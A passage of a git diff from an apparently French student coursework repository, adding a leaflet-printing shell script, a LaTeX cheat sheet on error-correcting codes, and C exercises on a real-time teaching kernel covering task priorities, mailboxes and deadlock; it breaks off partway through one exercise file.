ss-cc.tex +dvips ss-cc.dvi -o ss-cc.ps + +# This line works as follows: the -pa4 tells pstops to use a4 paper. +# THe 6: tells it that it will be working with 6 pages. +# The 0R@$scale($xpos,0.66h) part works as follows: +# 0R@scale tells it to work on the zeroth page, rotate it right, and scale it +# by $scale. +# The ($xpos,0.66h) part gives the x and y offsets, telling where +# to place the page on the sheet of paper. + +# You may need to fiddle with these offsets, in particular, to +# suit your printer. This works for an HP400 deskjet. + +# Copyright Nels Tomlinson, 2001, 2003. +# You may freely distribute this file, provided that the copyright notice and this permission notice are retained. + +# Modified by Carlos Gonzalez-Alcon to use an A4 paper. Oct 2003. +# Modified by Nicolas MASSE to use 6 columns. 2007. + +paper="a4" +scale="1.0" +xpos="-3.4in" + +pstops -p$paper "6:1R@$scale($xpos,1.0h)+2R@$scale($xpos,0.66h)+3R@$scale($xpos,0.33h),0R@$scale($xpos,0.33h)+5R@$scale($xpos,0.66h)+4R@$scale($xpos,1.0h)" ss-cc.ps ss-cc.$paper.ps + + +ps2pdf14 -sPAPERSIZE=$paper ss-cc.$paper.ps + diff --git a/CodesCorrecteurs/ss-cc.tex b/CodesCorrecteurs/ss-cc.tex new file mode 100755 index 0000000..06c41f0 --- /dev/null +++ b/CodesCorrecteurs/ss-cc.tex @@ -0,0 +1,144 @@ +\documentclass[a4paper,10pt]{leaflet} + +% French language +\usepackage[francais]{babel} +\usepackage[utf8]{inputenc} + +% Hack +\setlength{\footskip}{10cm} + +% No indentation but a wider space between the paragraphs +\setlength{\parindent}{0cm} +\setlength{\parskip}{2mm} + +% To include images +\usepackage{graphicx} + +\usepackage{multicol} + +% Math extensions +\usepackage{amsfonts} +\usepackage{amstext} +\usepackage{amsmath} +\usepackage{mathbbol} + +% Some useful shortcuts +\newcommand{\code}[1]{\mathcal{#1}} +\newcommand{\C}{\code{C}} +\newcommand{\syn}[1]{\mathop{\rm{syn}}(#1)} +\newcommand{\dimc}[1]{\mathop{\rm{dim}}(#1)} +\newcommand{\FF}{\mathbb{F}_2} +\newcommand{\FFn}[1]{\mathbb{F}_2^{#1}} + + +\title{Codes correcteurs \\ {\normalsize \textsf{Cheat Sheet}}} +\author{Nicolas MASSE \\ \texttt{nicolas27.masse@laposte.net}} + +\begin{document} +\maketitle + +\fussy + +\section{Système de communication} +\subsection{Modèle de Shannon (1948)} +\includegraphics[width=0.9\linewidth]{general2} + +\subsection{Matrice stochastique} +Une matrice stochastique $\mathcal{P}$ est définie par $ \mathcal{P} = (P_{ij}) $. $P_{ij} = P(y_j/x_i)$ est la probabilité de transition entre $x_i$ et $y_j$. + +\subsection{Modèles de canal} + +\begin{multicols}{2} + \raggedcolumns + Le \textbf{canal binaire symétrique à effacement} modélise les situations où certains symboles sont perdus. + +\begin{center} + $ \mathcal{P} = \begin{pmatrix} + 1-p & 0 & p\\ + 0 & 1-p & p\\ + \end{pmatrix}$ +\end{center} + + \includegraphics[width=0.9\linewidth]{cbse} +\end{multicols} +\clearpage +\begin{multicols}{2} + \raggedcolumns + \textbf{Canal binaire symétrique} + +\begin{center} +$ \mathcal{P} = \left( +\begin{array}{cc} + 1-p & p\\ + p & 1-p\\ +\end{array} +\right)$ +\end{center} + + \includegraphics[width=\linewidth]{cbs} +\end{multicols} + +\subsection{Codage de source} +Une source est équiprobable lorsque chaque séquence binaire a la même probabilité d'apparition. +On dit alors que le codage de source est de qualité. + +\section{Théorie des codes} + +\subsection{Types de codes} +\begin{itemize} + \item codes linéaires + \item codes cycliques +\end{itemize} + +\subsection{Modes de fonctionnement} +\begin{description} + \item[FEC] Forward error correction + \item[ARQ] Automatic Repeat-request +\end{description} + +\subsection{Types d'encodage} +\begin{itemize} + \item encodage en bloc +$$ +\begin{array}{ccc} + \lbrack m_1 \ldots m_k] & \lbrack m_{k+1} \ldots m_{2k}] & \lbrack m_{2k+1} \ldots m_{3k}]\\ + \downarrow f & \downarrow f & \downarrow f \\ + \lbrack c_1 \ldots c_k] & \lbrack c_{k+1} \ldots c_{2k}] & \lbrack c_{2k+1} \ldots c_{3k}] +\end{array} +$$ + \item encodage convolutif +$$ +\left(\begin{array}{c} + c_1^{(t)}\\ + \vdots \\ + c_n^{(t)} +\end{array}\right) += f \left( +\left(\begin{array}{c} + m_1^{(t)}\\ + \vdots \\ + m_k^{(t)} +\end{array}\right) +, \ldots, +\left(\begin{array}{c} + m_1^{(t-m)}\\ + \vdots \\ + m_k^{(t-m)} +\end{array}\right) +\right) +$$ +\end{itemize} + +\subsection{Paramètres d'un code $\C$} +Notation~: $\C[n,k,d]$ + +\begin{itemize} + \item[$\mathbf{n}$~:] nombre de bits après encodage + \item[$\mathbf{k}$~:] nombre de bits d'information + \item[$\mathbf{d}$~:] distance minimale +\end{itemize} +$\Rightarrow$ nombre de bits de redondance~: $n-k$ + + + +\end{document} diff --git a/Monetique/Cartes de santé/Les cartes de santé.ppt b/Monetique/Cartes de santé/Les cartes de santé.ppt new file mode 100755 index 0000000..e274ec6 Binary files /dev/null and b/Monetique/Cartes de santé/Les cartes de santé.ppt differ diff --git a/Monetique/ResumeArticle/article.doc b/Monetique/ResumeArticle/article.doc new file mode 100755 index 0000000..a7e95ed Binary files /dev/null and b/Monetique/ResumeArticle/article.doc differ diff --git a/Monetique/ResumeArticle/article.odt b/Monetique/ResumeArticle/article.odt new file mode 100755 index 0000000..0305e1d Binary files /dev/null and b/Monetique/ResumeArticle/article.odt differ diff --git a/RealTime/ex1.c b/RealTime/ex1.c new file mode 100755 index 0000000..3c443e8 --- /dev/null +++ b/RealTime/ex1.c @@ -0,0 +1,106 @@ +/************************************************************************/ +/* EX1.C : Multi-Fenêtrage avec seulement UNE tâche */ +/************************************************************************/ +/* Fonction : */ +/* Création de fenêtres avec le système de Multi-Fenêtrage VIDEO */ +/* et opérations d'affichage dans les fenêtres. */ +/************************************************************************/ +#include +#include +#include + +#define T1 1 /*Outre la tâche main, il n'y a dans cette exercice que la tâche T1 qui a le numéro 1*/ + /*Rappel : le numéro peut varier de 1 à 10. La valeur 0 est reservée à la tâche main*/ + +#define PT1 3 /*La priorité de la tâche T1 est PT1=3 (pourquoi pas?). La priorité peut varier de 1 à 10*/ + /*La priorité la plus forte correspond à la valeur 10. La tâche main a la priorité 0*/ + +#define ESC 0x1b /*On revient au DOS en frappant sur la touche Escape*/ + +Word F0,F1,F2,F3,F4,F5;/*On utilise 6 fenêtres dans cet exercice*/ + +#include "tempo.c" /*Le fichier tempo.c est dans le répertoire courant et correspond à une boucle d'attente logicielle*/ + /*La syntaxe d'appel est Tempo(Word Duree). La valeur de Duree correspond approximativement*/ + /*à la durée de la boucle (en millisecondes) pour les PC utilisés en TP*/ + +/*--------------------------------------------------------------------------------------------------*/ +Tache_Controleur(void) +{ +/*Deux tâches dans cet exercice : +- la tâche main (incontournable) +- la tâche Tache_Controleur*/ + +Char Car; +EcrTexte(F5,"Tapez des chiffres entre 1 et 4 ; ESC pour sortir\r"); + +while (TRUE) + { + LireCar(F5, ON, &Car); /*Rappel : la fonction LireCar est suspensive*/ + switch (Car) + { + case ESC : RetDos(); break; /*RetDos est une fonction du noyau*/ + case '1' : Proc_1(); break; /*Les fonctions Proc_i sont extrémement simples (cf. ci-dessous)*/ + case '2' : Proc_2(); break; + case '3' : Proc_3(); break; + case '4' : Proc_4(); break; + } + } +} +/*--------------------------------------------------------------------------------------------------*/ +Proc_1(void) +{ +EcrTexte(F1,"Proc_1 En Cours\n"); +Tempo(2); /*Boucle d'attente logicielle*/ +EffaceFen(F1); +} + +Proc_2(void) +{ +EcrTexte(F2,"Proc_2 En Cours\n"); +Tempo(5); +EffaceFen(F2); +} + +Proc_3(void) +{ +EcrTexte(F3,"Proc_3 En Cours\n"); +Tempo(10); +EffaceFen(F3); +} + +Proc_4(void) +{ +static Int Cpt=0; +EcrTexte(F4,"Proc_4 En Cours\r"); +SelectFen(F4); +EcrVar("Cpt = %d\r", Cpt); +Cpt ++; +if(Cpt == 3) + { + Cpt = 0; + Tempo(10); + EffaceFen(F4); + } +} +/*--------------------------------------------------------------------------------------------------*/ +void main(void) +{ +InitVideo(); /*Appel obligatoire avant toute utilisation du module video*/ + +F0=OuvreFen( 0, 0,79,24, noir, blanc, "EXERCICE1"); +F1=OuvreFen( 1, 6,39, 9, cyan, blanc, "Proc_1"); +F2=OuvreFen(41, 6,78, 9, vert, blanc, "Proc_2"); +F3=OuvreFen( 1,11,39,14, bleu, blanc, "Proc_3"); +F4=OuvreFen(41,11,78,19, marron, blanc, "Proc_4"); +F5=OuvreFen( 1, 1,78, 5, rouge, blanc, "Tâche_Contrôleur"); + +InitNoyau(); /*Obligatoire pour utiliser le module video*/ + +CreateTask(T1,PT1,Tache_Controleur); /*Créer la tâche numéro T1, avec la priorité T1, correspondant la fonction Tâche_controleur*/ + /*La TCB (partiellement initialisée est créée)*/ + +StartTask(T1); /*La TCB est totalement initialisée : La tâche est prête*/ + /*Le tableau TabPrio est mis à jour*/ + +while (TRUE); +} diff --git a/RealTime/ex10.c b/RealTime/ex10.c new file mode 100755 index 0000000..a0d793d --- /dev/null +++ b/RealTime/ex10.c @@ -0,0 +1,132 @@ +/************************************************************************/ +/* EX10.C DEMONSTRATION TACHE SERVEUR */ +/************************************************************************/ +/* Fonction : */ +/* Deux tâches T1 et T2, de même priorité transmettent à une tâche */ +/* serveur, TS, des requêtes pour utiliser une ressource (fenêtre) */ +/* gérée par cette tâche TS. */ +/* Ces requêtes, effectuées de manière "pseudo aléatoire", sont */ +/* servies suivant leur ordre d'arrivée (fonctionnement asynchrone). */ +/* Principe : */ +/* Les tâches demandeuses T1 et T2 postent dans la file serveur des */ +/* caractères minuscules (T1) ou majuscules (T2). */ +/* La tâche serveur TS affiche les caractères contenus dans la file. */ +/************************************************************************/ +#include +#include +#include + +#define T1 1 +#define T2 2 +#define TS 3 +#define TK 4 + + +#define T1DMAX 20 +#define T1DSTEP 2 +#define T2DMAX 20 +#define T2DSTEP 4 + +#define PT 3 /* Priorité des tâches T1 et T2 */ +#define PS 4 /* Priorité de la tâche serveur TS*/ +#define PTK 5 + +#define BL 1 /*On utilise une boîte à lettres (boîte numéro 1)*/ +#define BL_LEN 2 + + +#define ESC 0x1b + +Word F0,F1,F2,F3,F4; + +#include "tempo.c" +/*-------------------------------------------------------------------*/ +TKill(void) +{ +Char car; +while (1) + { + LireCar(F4, ON, &car); + if (car == ESC) RetDos(); + } +} + + +/*-------------------------------------------------------------------*/ +Tache1(void) +{ +Char lettre = 'a'; +Word delai1 = T1DSTEP; + +while(1) + { + EcrCar(F1, lettre); + Send(BL,lettre); + ++lettre; + if (lettre > 'z') lettre = 'a'; + DelayTask(delai1); + delai1 += T1DSTEP; + if (delai1 > T1DMAX) delai1 = T1DSTEP; + } +} +/*-------------------------------------------------------------------*/ +Tache2(void) +{ +Char lettre = 'A'; +Word delai1 = T2DSTEP; + +while(1) + { + EcrCar(F2, lettre); + Send(BL,(Word)lettre); + ++lettre; + if (lettre > 'Z') lettre = 'A'; + DelayTask(delai1); + delai1 += T2DSTEP; + if (delai1 > T2DMAX) delai1 = T2DSTEP; + } +} + +/*-------------------------------------------------------------------*/ +Serveur(void) +{ +Word msg; +while(1) + { + Receive(BL,&msg,0); + EcrCar(F3, (char) msg); + } +} +/*-------------------------------------------------------------------*/ +void main(void) +{ +InitVideo(); + +F0 = OuvreFen( 0, 0,79,24, noir, blanc, "EX 10 : TACHE SERVEUR"); +F1 = OuvreFen(10, 3,35,10, vert, blanc, "TACHE T1"); +F2 = OuvreFen(45, 3,70,10, vert, blanc, "TACHE T2"); +F3 = OuvreFen(10,11,70,16, rouge, blanc, "Serveur (TACHE TS)"); +F4 = OuvreFen( 2,20,77,23, cyan, blanc, "TACHE MAIN"); + +InitNoyau(); +InitMailBox(BL, BL_LEN); + + +CreateTask(TK, PTK, TKill); +CreateTask(T1, PT, Tache1); +CreateTask(T2, PT, Tache2); +CreateTask(TS, PS, Serveur); + + +StartTask(TK); +StartTask(TS); +StartTask(T1); +StartTask(T2); + + +while(1) + { + EcrCar(F4,'&'); + Tempo(2); + } +} diff --git a/RealTime/ex11.c b/RealTime/ex11.c new file mode 100755 index 0000000..92c7cfc --- /dev/null +++ b/RealTime/ex11.c @@ -0,0 +1,104 @@ +/************************************************************************/ +/* EX11.C INTERBLOCAGE alias ETREINTE FATALE alias DEAD LOCK */ +/************************************************************************/ +/* Fonction : */ +/* Deux tâches de même priorité travaillent en partage du temps. */ +/* Ces deux tâches utilisent DEUX ressources communes. */ +/* Si l'on ne prend pas de précaution, ce qui est le cas dans cet */ +/* exercice : CA BLOQUE !!! */ +/************************************************************************/ +#include +#include +#include + +#define T1 1 +#define T2 2 +#define TK 3 + +#define PT1 1 +#define PT2 1 +#define PTK 3 + +#define Ress1 1 +#define Ress2 2 + +#define ESC 0x1b + +Word F0,F1,F2,F3; + +#include "tempo.c" +/*-------------------------------------------------------------------*/ +TKill(void) +{ +Char Msg1; +while(1) + { + LireCar(F1,ON,&Msg1); + if( Msg1 == ESC ) RetDos(); + } +} +/*-------------------------------------------------------------------*/ +Tache1(void) +{ +while(1) + { + P(Ress1,0); + EcrTexte(F1,"Ress1\r"); + Tempo(5); + P(Ress2,0); + EcrTexte(F1,"Ress2"); + Tempo(5); + EffaceFen(F1); + V(Ress2); + V(Ress1); + } +} +/*-------------------------------------------------------------------*/ +Tache2(void) +{ +while(1) + { + P(Ress2,0); + EcrTexte(F2,"Ress2\r"); + Tempo(5); + P(Ress1,0); + EcrTexte(F2,"Ress1"); + Tempo(5); + EffaceFen(F2); + V(Ress1); + V(Ress2); + } +} +/*-------------------------------------------------------------------*/ +void main(void) +{ +InitVideo(); +F0 = OuvreFen( 0, 0,79,24, noir, blanc, "EX 11 : INTERBLOCAGE alias ETREINTE FATALE alias DEAD LOCK"); +F1 = OuvreFen( 5, 5,30,15, bleu, blanc, "T1 En Cours"); +F2 = OuvreFen(40, 5,65,15, vert, blanc, "T2 En Cours"); +F3 = OuvreFen( 2,20,77,23, cyan, blanc, "TACHE MAIN"); + +InitNoyau(); + +CreateTask(T1, PT1, Tache1); +CreateTask(T2, PT2, Tache2); +CreateTask(TK, PTK, TKill); + +InitSemaphore(Ress1, 1); V(Ress1); +InitSemaphore(Ress2, 1); V(Ress2); + +EnterRegion(); +StartTask(T2); +StartTask(T1); +StartTask(TK); +RTClockInit(1); +LeaveRegion(); + +while(1) + { + EnterRegion(); + EcrCar(F3,'&'); + LeaveRegion(); + Tempo(2); + } +} diff --git a/RealTime/ex11a.c b/RealTime/ex11a.c new file mode 100755 index 0000000..42bcd2e --- /dev/null +++ b/RealTime/ex11a.c @@ -0,0 +1,108 @@ +/************************************************************************/ +/* EX11.C INTERBLOCAGE alias ETREINTE FATALE alias DEAD LOCK */ +/************************************************************************/ +/* Fonction : */ +/* Deux tâches de même priorité travaillent en partage du temps. */ +/* Ces deux tâches utilisent DEUX ressources communes. */ +/* Si l'on ne prend pas de précaution, ce qui est le cas dans cet */ +/* exercice : CA BLOQUE !!! */ +/************************************************************************/ +#include +#include +#include + +#define T1 1 +#define T2 2 +#define TK 3 + +#define PT1 1 +#define PT2 1 +#define PTK 3 + +#define Ress1 1 +#define Ress2 2 + +#define ESC 0x1b + +Word F0,F1,F2,F3; + +#include "tempo.c" +/*-------------------------------------------------------------------*/ +TKill(void) +{ +Char Msg1; +while(1) + { + LireCar(F1,ON,&Msg1); + if( Msg1 == ESC ) RetDos(); + } +} +/*-------------------------------------------------------------------*/ +Tache1(void) +{ +while(1) + { + P(Ress1,0); + EcrTexte(F1,"Ress1\r"); + Tempo(5); + P(Ress2,0); + EcrTexte(F1,"Ress2"); + Tempo(5); + EffaceFen(F1); + V(Ress2); + V(Ress1); + } +} +/*-------------------------------------------------------------------*/ +Tache2(void) +{ +while(1) + { + + /* Prise des ressources dans le meme ordre que T1 + pour eviter le phenomene d'interblocage */ + + P(Ress1,0); + EcrTexte(F2,"Ress1\r"); + Tempo(5); + P(Ress2,0); + EcrTexte(F2,"Ress2"); + Tempo(5); + EffaceFen(F2); + V(Ress1); + V(Ress2); + } +} +/*-------------------------------------------------------------------*/ +void main(void) +{ +InitVideo(); +F0 = OuvreFen( 0, 0,79,24, noir, blanc, "EX 11 : INTERBLOCAGE alias ETREINTE FATALE alias DEAD LOCK"); +F1 = OuvreFen( 5, 5,30,15, bleu, blanc, "T1 En Cours"); +F2 = OuvreFen(40, 5,65,15, vert, blanc, "T2 En Cours"); +F3 = OuvreFen( 2,20,77,23, cyan, blanc, "TACHE MAIN"); + +InitNoyau(); + +CreateTask(T1, PT1, Tache1); +CreateTask(T2, PT2, Tache2); +CreateTask(TK, PTK, TKill); + +InitSemaphore(Ress1, 1); V(Ress1); +InitSemaphore(Ress2, 1); V(Ress2); + +EnterRegion(); +StartTask(T2); +StartTask(T1); +StartTask(TK); +RTClockInit(1); +LeaveRegion(); + +while(1) + { + EnterRegion(); + EcrCar(F3,'&'); + LeaveRegion(); + Tempo(2); + } +} diff --git a/RealTime/ex11b.c b/RealTime/ex11b.c new file mode 100755 index 0000000..620b687 --- /dev/null +++ b/RealTime/ex11b.c @@ -0,0 +1,147 @@ +/************************************************************************/ +/* EX11.C INTERBLOCAGE alias ETREINTE FATALE alias DEAD LOCK */ +/************************************************************************/ +/* Fonction : */ +/* Deux tâches de même priorité travaillent en partage du temps. */ +/* Ces deux tâches utilisent DEUX ressources communes. */ +/* Si l'on ne prend pas de précaution, ce qui est le cas dans cet */ +/* exercice : CA BLOQUE !!! */ +/************************************************************************/ +#include +#include +#include + +/* #include */ + +#define T1 1 +#define T2 2 +#define TK 3 + +#define PT1 1 +#define PT2 1 +#define PTK 3 + +#define Ress1 1 +#define Ress2 2 + +#define DELAY 5 + +#define ESC 0x1b + +Word F0,F1,F2,F3; + +#include "tempo.c" +/*-------------------------------------------------------------------*/ +TKill(void) +{ +Char Msg1; +while(1) + { + LireCar(F1,ON,&Msg1); + if( Msg1 == ESC ) RetDos(); + } +} +/*-------------------------------------------------------------------*/ + + +/* La fonction random n'existe pas, nous l'avons recodee */ +int random(int max) { + return rand() % max; +} + + +Tache1(void) +{ +Int cmpt = 0; +while(1) + { + while (1) + { + P(Ress1,0); + EcrTexte(F1,"Ress1\r"); + Tempo(1); + + /* Si la ressource est disponible on la prend et on sort de la boucle */ + if (!TestP(Ress2)) break; + + /* Sinon, on relache la ressource et on attend un delai aleatoire */ + V(Ress1); + EffaceFen(F1); + DelayTask(random(DELAY) + 1); + } + + ++cmpt; + + EcrTexte(F1,"Ress2\r\n"); + SelectFen(F1); + EcrVar("%d execution(s)\r\n",cmpt); + Tempo(5); + EffaceFen(F1); + + /* Liberation des ressources */ + V(Ress2); + V(Ress1); + } +} +/*-------------------------------------------------------------------*/ +Tache2(void) +{ +Int cmpt = 0; +while(1) + { + while (1) + { + P(Ress2,0); + EcrTexte(F2,"Ress2\r"); + Tempo(1); + + if (!TestP(Ress1)) break; + + V(Ress2); + EffaceFen(F2); + DelayTask(random(DELAY) + 1); + } + + ++cmpt; + EcrTexte(F2,"Ress1\r\n"); + SelectFen(F2); + EcrVar("%d execution(s)\r\n",cmpt); + Tempo(5); + EffaceFen(F2); + V(Ress1); + V(Ress2); + } +} +/*-------------------------------------------------------------------*/ +void main(void) +{ +InitVideo(); +F0 = OuvreFen( 0, 0,79,24, noir, blanc, "EX 11 : INTERBLOCAGE alias ETREINTE FATALE alias DEAD LOCK"); +F1 = OuvreFen( 5, 5,30,15, bleu, blanc, "T1 En Cours"); +F2 = OuvreFen(40, 5,65,15, vert, blanc, "T2 En Cours"); +F3 = OuvreFen( 2,20,77,23, cyan, blanc, "TACHE MAIN"); + +InitNoyau(); + +CreateTask(T1, PT1, Tache1); +CreateTask(T2, PT2, Tache2); +CreateTask(TK, PTK, TKill); + +InitSemaphore(Ress1, 1); V(Ress1); +InitSemaphore(Ress2, 1); V(Ress2); + +EnterRegion(); +StartTask(T2); +StartTask(T1); +StartTask(TK); +RTClockInit(1); +LeaveRegion(); + +while(1) + { + EnterRegion(); + EcrCar(F3,'&'); + LeaveRegion(); + Tempo(2); + } +} diff --git a/RealTime/ex1a.c b/RealTime/ex1a.c new file mode 100755 index 0000000..3eaa957 --- /dev/null +++ b/RealTime/ex1a.c @@ -0,0 +1,106 @@ +/************************************************************************/ +/* EX1.C : Multi-Fenêtrage avec seulement UNE tâche */ +/************************************************************************/ +/* Fonction : */ +/* Création de fenêtres avec le système de Multi-Fenêtrage VIDEO */ +/* et opérations d'affichage dans les fenêtres. */ +/************************************************************************/ +#include +#include +#include + +#define T1 1 /*Outre la tâche main, il n'y a dans cette exercice que la tâche T1 qui a le numéro 1*/ + /*Rappel : le numéro peut varier de 1 à 10. La valeur 0 est reservée à la tâche main*/ + +#define PT1 3 /*La priorité de la tâche T1 est PT1=3 (pourquoi pas?). La priorité peut varier de 1 à 10*/ + /*La priorité la plus forte correspond à la valeur 10. La tâche main a la priorité 0*/ + +#define ESC 0x1b /*On revient au DOS en frappant sur la touche Escape*/ + +Word F0,F1,F2,F3,F4,F5;/*On utilise 6 fenêtres dans cet exercice*/ + +#include "tempo.c" /*Le fichier tempo.c est dans le répertoire courant et correspond à une boucle d'attente logicielle*/ + /*La syntaxe d'appel est Tempo(Word Duree). La valeur de Duree correspond approximativement*/ + /*à la durée de la boucle (en millisecondes) pour les PC utilisés en TP*/ + +/*--------------------------------------------------------------------------------------------------*/ +Tache_Controleur(void) +{ +/*Deux tâches dans cet exercice : +- la tâche main (incontournable) +- la tâche Tache_Controleur*/ + +Char Car; +EcrTexte(F5,"Tapez des chiffres entre 1 et 4 ; ESC pour sortir\r"); + +while (TRUE) + { + LireCar(F5, ON, &Car); /*Rappel : la fonction LireCar est suspensive*/ + switch (Car) + { + case ESC : RetDos(); break; /*RetDos est une fonction du noyau*/ + case '1' : Proc_1(); break; /*Les fonctions Proc_i sont extrémement simples (cf. ci-dessous)*/ + case '2' : Proc_2(); break; + case '3' : Proc_3(); break; + case '4' : Proc_4(); break; + } + } +} +/*--------------------------------------------------------------------------------------------------*/ +Proc_1(void) +{ +EcrTexte(F1,"Proc_1 En Cours\n"); +Tempo(2); /*Boucle d'attente logicielle*/ +EffaceFen(F1); +} + +Proc_2(void) +{ +EcrTexte(F2,"Proc_2 En Cours\n"); +Tempo(5); +EffaceFen(F2); +} + +Proc_3(void) +{ +EcrTexte(F3,"Proc_3 En Cours\n"); +Tempo(10); +EffaceFen(F3); +} + +Proc_4(void) +{ +static Int Cpt=0; +EcrTexte(F4,"Proc_4 En Cours\r"); +SelectFen(F4); +EcrVar("Cpt = %d\r", Cpt); +Cpt ++; +if(Cpt == 3) + { + Cpt = 0; + Tempo(10); + EffaceFen(F4); + } +} +/*--------------------------------------------------------------------------------------------------*/ +void main(void) +{ +InitVideo(); /*Appel obligatoire avant toute utilisation du module video*/ + +F0=OuvreFen( 0, 0,79,24, noir, blanc, "EXERCICE1"); +F1=OuvreFen( 1, 6,39, 9, cyan, blanc, "Proc_1"); +F2=OuvreFen(41, 6,78, 9, vert, blanc, "Proc_2"); +F3=OuvreFen( 1,11,39,14, bleu, blanc, "Proc_3"); +F4=OuvreFen(41,11,78,19, marron, blanc, "Proc_4"); +F5=OuvreFen( 1, 1,78, 5, rouge, blanc, "Tâche_Contrôleur"); + +InitNoyau(); /*Obligatoire pour utiliser le module video*/ + +CreateTask(T1,PT1,Tache_Controleur); /*Créer la tâche numéro T1, avec la priorité T1, correspondant la fonction Tâche_controleur*/ + /*La TCB (partiellement initialisée est créée)*/ + +StartTask(T1); /*La TCB est totalement initialisée : La tâche est prête*/ + /*Le tableau TabPrio est mis à jour*/ + +/* while (TRUE); */ +} \ No newline at end of file diff --git a/RealTime/ex1b.c b/RealTime/ex1b.c new file mode 100755 index 0000000..99c2358 --- /dev/null +++ b/RealTime/ex1b.c @@ -0,0 +1,111 @@ +/************************************************************************/ +/* EX1.C : Multi-Fenêtrage avec seulement UNE tâche */ +/************************************************************************/ +/* Fonction : */ +/* Création de fenêtres avec le système de Multi-Fenêtrage VIDEO */ +/* et opérations d'affichage dans les fenêtres. */ +/************************************************************************/ +#include +#include +#include + +#define T1 1 /*Outre la tâche main, il n'y a dans cette exercice que la tâche T1 qui a le numéro 1*/ + /*Rappel : le numéro peut varier de 1 à 10. La valeur 0 est reservée à la tâche main*/ + +#define PT1 3 /*La priorité de la tâche T1 est PT1=3 (pourquoi pas?). La priorité peut varier de 1 à 10*/ + /*La priorité la plus forte correspond à la valeur 10. La tâche main a la priorité 0*/ + +#define ESC 0x1b /*On revient au DOS en frappant sur la touche Escape*/ + +Word F0,F1,F2,F3,F4,F5,F6;/*On utilise 6 fenêtres dans cet exercice*/ + +#include "tempo.c" /*Le fichier tempo.c est dans le répertoire courant et correspond à une boucle d'attente logicielle*/ + /*La syntaxe d'appel est Tempo(Word Duree). La valeur de Duree correspond approximativement*/ + /*à la durée de la boucle (en millisecondes) pour les PC utilisés en TP*/ + +/*--------------------------------------------------------------------------------------------------*/ +Tache_Controleur(void) +{ +/*Deux tâches dans cet exercice : +- la tâche main (incontournable) +- la tâche Tache_Controleur*/ + +Char Car; +EcrTexte(F5,"Tapez des chiffres entre 1 et 4 ; ESC pour sortir\r"); + +while (TRUE) + { + LireCar(F5, ON, &Car); /*Rappel : la fonction LireCar est suspensive*/ + switch (Car) + { + case ESC : RetDos(); break; /*RetDos est une fonction du noyau*/ + case '1' : Proc_1(); break; /*Les fonctions Proc_i sont extrémement simples (cf. ci-dessous)*/ + case '2' : Proc_2(); break; + case '3' : Proc_3(); break; + case '4' : Proc_4(); break; + } + } +} +/*--------------------------------------------------------------------------------------------------*/ +Proc_1(void) +{ +EcrTexte(F1,"Proc_1 En Cours\n"); +Tempo(2); /*Boucle d'attente logicielle*/ +EffaceFen(F1); +} + +Proc_2(void) +{ +EcrTexte(F2,"Proc_2 En Cours\n"); +Tempo(5); +EffaceFen(F2); +} + +Proc_3(void) +{ +EcrTexte(F3,"Proc_3 En Cours\n"); +Tempo(10); +EffaceFen(F3); +} + +Proc_4(void) +{ +static Int Cpt=0; +EcrTexte(F4,"Proc_4 En Cours\r"); +SelectFen(F4); +EcrVar("Cpt = %d\r", Cpt); +Cpt ++; +if(Cpt == 3) + { + Cpt = 0; + Tempo(10); + EffaceFen(F4); + } +} +/*--------------------------------------------------------------------------------------------------*/ +void main(void) +{ +InitVideo(); /*Appel obligatoire avant toute utilisation du module video*/ + +F0=OuvreFen( 0, 0,79,24, noir, blanc, "EXERCICE1"); +F1=OuvreFen( 1, 6,39, 9, cyan, blanc, "Proc_1"); +F2=OuvreFen(41, 6,78, 9, vert, blanc, "Proc_2"); +F3=OuvreFen( 1,11,39,14, bleu, blanc, "Proc_3"); +F4=OuvreFen(41,11,78,19, marron, blanc, "Proc_4"); +F5=OuvreFen( 1, 1,78, 5, rouge, blanc, "Tâche_Contrôleur"); +F6=OuvreFen( 1, 20,78, 23, rouge, blanc, "Tâche_Main"); + +InitNoyau(); /*Obligatoire pour utiliser le module video*/ + +CreateTask(T1,PT1,Tache_Controleur); /*Créer la tâche numéro T1, avec la priorité T1, correspondant la fonction Tâche_controleur*/ + /*La TCB (partiellement initialisée est créée)*/ + +StartTask(T1); /*La TCB est totalement initialisée : La tâche est prête*/ + /*Le tableau TabPrio est mis à jour*/ + +while (TRUE) +{ +EcrTexte(F6,"&"); /*Affiche un "&"*/ +Tempo(2); /*Simulation d'une charge CPU durant 2 dixieme de secondes*/ +} +} \ No newline at end of file diff --git a/RealTime/ex2.c b/RealTime/ex2.c new file mode 100755 index 0000000..1cb81c0 --- /dev/null +++ b/RealTime/ex2.c @@ -0,0 +1,72 @@ +/************************************************************************/ +/* EX2.C : Priorités */ +/************************************************************************/ +/* Fonction : */ +/* On crée une tâche TK (TKill) de priorité 3 permettant de quitter */ +/* proprement une application. */ +/* Puis une tâche T1 de priorité plus forte et une nouvelle fenêtre */ +/* dans laquelle cette tâche écrit en permanence. */ +/* Constater que TKill ne démarre pas. */ +/* Puis mettre à T1 une priorité moins forte et expliquer. */ +/************************************************************************/ +#include +#include +#include + +#define T1 1 /*Le numéro de la tâche Tache1 est 1*/ +#define TK 2 /*Le numéro de la tâche TKill est 2*/ +#define PT 3 /*La priorité de la tâche Tache1 est 2*/ +#define PTK 4 /*La priorité de la tâche TKill est 3*/ +#define ESC 0x1b + +Word F0,F1,F2; + +#include "tempo.c" +/*--------------------------------------------------------------------*/ +TKill(void) +{ +Char car; + +while(1) + { + LireCar(F1,ON,&car); + if(car==ESC) + { + RetDos(); + } + } +} +/*--------------------------------------------------------------------*/ +Tache1(void) +{ +while(1) + { + EcrTexte(F1,"T1111111"); + Tempo(5); + EffaceFen(F1); + Tempo(5); + } +} +/*********************************************************************/ +void main(void) +{ +InitVideo(); +F0 = OuvreFen( 0, 0,79,24, noir, blanc,"EXERCICE 2"); +F1 = OuvreFen( 5, 5,20,10, bleu, blanc,"EnCours"); +F2 = OuvreFen( 1,20,78,23, rouge,blanc,"TACHE MAIN"); + +InitNoyau(); +CreateTask(T1, PT, Tache1); +CreateTask(TK, PTK,TKill); + +EnterRegion(); +StartTask(T1); /* Demarre T1 */ +StartTask(TK); /* Demarre TK */ +LeaveRegion(); + +while(1) + { + EcrCar(F2,'&'); + Tempo(2); + } +} diff --git a/RealTime/ex3.c b/RealTime/ex3.c new file mode 100755 index 0000000..fe3139e --- /dev/null +++ b/RealTime/ex3.c @@ -0,0 +1,79 @@ +/********************************************************************/ +/* EX3.C : EnterRegion et LeaveRegion */ +/* Primitive de partage du temps RTClockInit() */ +/********************************************************************/ +#include +#include +#include + +#define T1 1 /* La tâche Tache1 a le numéro 1 */ +#define T2 2 /* La tâche Tache2 a le numéro 